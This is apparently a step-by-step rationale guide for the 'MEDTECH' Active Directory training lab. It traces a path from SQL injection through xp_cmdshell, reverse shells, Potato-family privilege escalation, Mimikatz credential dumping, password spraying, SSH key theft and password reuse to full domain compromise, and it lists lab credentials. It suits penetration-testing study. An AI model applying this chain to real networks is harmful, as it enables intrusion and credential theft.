MEDTECH // Active Directory attack lab: SQLi to domain admin

Login forms are one of the highest-value targets on any website because they're one of the few places an anonymous visitor is allowed to send data straight into a database query. A successful bypass doesn't just leak data — it can hand you an authenticated session outright.

You've proven the injection exists, but not how deep it goes — which engine, which tables, whether it escalates to command execution. sqlmap answers those systematically and leaves a repeatable record of what worked.

MSSQL ships a stored procedure, xp_cmdshell, that runs OS commands directly. Reaching it turns a data-layer bug into full command execution — always the next question after confirming SQLi against MSSQL.

xp_cmdshell lets you run a single command at a time — clunky. A reverse shell makes the target connect back to you, giving a live prompt, and routes around inbound firewall rules since outbound connections are almost always allowed.

A raw netcat shell dies the moment the connection drops — no Ctrl+C handling, no tab completion, easy to lose entirely if a command hangs. Before spending effort on privesc, it's worth upgrading to a more durable implant so a hiccup doesn't cost you the whole foothold. tsh is one lightweight option for this — a small agent binary that gives you a steadier, more resilient shell than raw netcat.

A service-account shell can't read other users' credentials from memory or be trusted by other machines. Almost everything valuable from here — dumping creds, pivoting — requires SYSTEM/Administrator on this box first.

You just confirmed the exact precondition Potato-family exploits need. PrintSpoofer works on most modern, patched builds — try it first; JuicyPotato is the fallback for older systems.

A raw cmd.exe works, but it's limited — no file upload/download built in, no easy in-memory Mimikatz, and if the netcat connection drops you lose SYSTEM entirely and have to redo PrintSpoofer. A Meterpreter session instead gives you a proper post-exploitation toolkit (built-in hashdump, a Mimikatz extension, file transfer commands, session persistence) on top of the same SYSTEM access. Many walkthroughs of this exact lab use this route instead of the plain cmd shell — worth knowing both.

SYSTEM on one isolated DMZ box doesn't get you into the internal domain by itself — but it lets you read every process's memory, including cached domain credentials. That's what actually unlocks the next network.

Good post-exploitation is thorough by habit — check user lists, recent downloads, network connections — because looking costs little and the payoff can be decisive.

It's direct evidence — not a guess — that this machine can already reach the internal network somehow. It marks this box (or others like it) as a candidate pivot point.

It's the other external box you haven't cracked, and its role name ("VPN") plus the netstat clue on WEB02 both suggest it may bridge external and internal networks. Port 1194 confirms it further — that's OpenVPN's default service port, so this box is quite literally running a VPN server. Worth remembering: it hints at exactly which sudo right will turn out to matter once you're in.

Both external Linux hosts have SSH open, and you already have one candidate username (offsec, seen earlier as a non-domain account). Rather than brute-forcing them one at a time, put both IPs in a target file and spray the same username/wordlist combination against both in a single run — it costs nothing extra and you find out about both hosts at once.

Before jumping straight to enumerating sudo rights, it's worth a quick look at what commands were run on this account before you ever logged in — other testers, admins, or setup scripts often leave a trail. It costs one command and sometimes hands you the exact exploit syntax instead of making you look it up:

history
cat ~/.bash_history

sudo -l costs nothing and instantly shows what this account can run as another user. Misconfigured sudo rights are one of the most common Linux privesc paths — rule this out first.

You already suspect this host bridges networks. Root access means you can read every file, including credential material — SSH keys are exactly what's worth searching for, since they often work unchanged on other internal machines.

It's the only internal host with SSH open, and you're holding an SSH private key. When loot only fits one lock, try that lock first — fastest possible win, even if (as here) it's a dead end.

joe/Flowers1 is domain-wide, and WinRM is open on several internal hosts — check which ones actually accept it rather than guessing one at a time.

Being admin on one machine is a stepping stone, not the goal. Any file that looks like it stores credentials is worth reading, because the next hop almost always comes from exactly this.

A hash can sometimes be used directly (Pass-the-Hash), but a plaintext password is more broadly useful — it might work elsewhere too, as a habit of the same human. Cracking costs nothing but time.

You just minted a fresh credential (wario/Mushroom!) and haven't used it anywhere. The natural move is to test it against unchecked hosts — CLIENT02 has WinRM open.

Dozens of possible misconfigurations exist — checking each by hand is slow. WinPEAS automates the checklist so you spend time acting on findings, not hunting for them.

Found on CLIENT01's own SMB shares: yoshi : Mushroom!, reusing wario's cracked password. Password reuse across accounts is extremely common — always test a reused password against every known username.

Evil-WinRM needs WinRM (5985); psexec.py rides over SMB (445). Match the tool to the open port — the earlier nxc check already told you which protocol this host accepts.

No reason to think yoshi's password is limited to one host — same spraying logic. This time RDP is open instead of SMB/WinRM, so the login method changes, but the reuse logic doesn't.

WinPEAS doesn't repeat the same finding on every box — different machines misconfigure differently. Here it's a writable file tied to a Scheduled Task, not a Service. Same underlying vulnerability shape, different trigger — recognizing that shape is the transferable skill.

Fresh Administrator on a new host is a fresh opportunity to read LSASS. Harvest on every privileged foothold, not just once — different users log into different machines.

Same logic as every reuse step: a fresh credential is only useful once tested broadly. PROD01 is one of the remaining unchecked hosts.

The Domain Controller holds the master database of every account in the domain, including password hashes for all users. Admin-equivalent access here means you can, in principle, extract every domain credential — the textbook definition of "full domain compromise."

Real organizations reuse accounts and store notes carelessly across trust boundaries. "External" and "internal" access aren't a one-way door — information gained deep inside a network can loop back to finish off a target you set aside earlier.

You skipped it in Phase 1 — no obvious attack surface, just SSH. That was never a dead end, only a locked door waiting for the right key. The credential from DC01 is that key.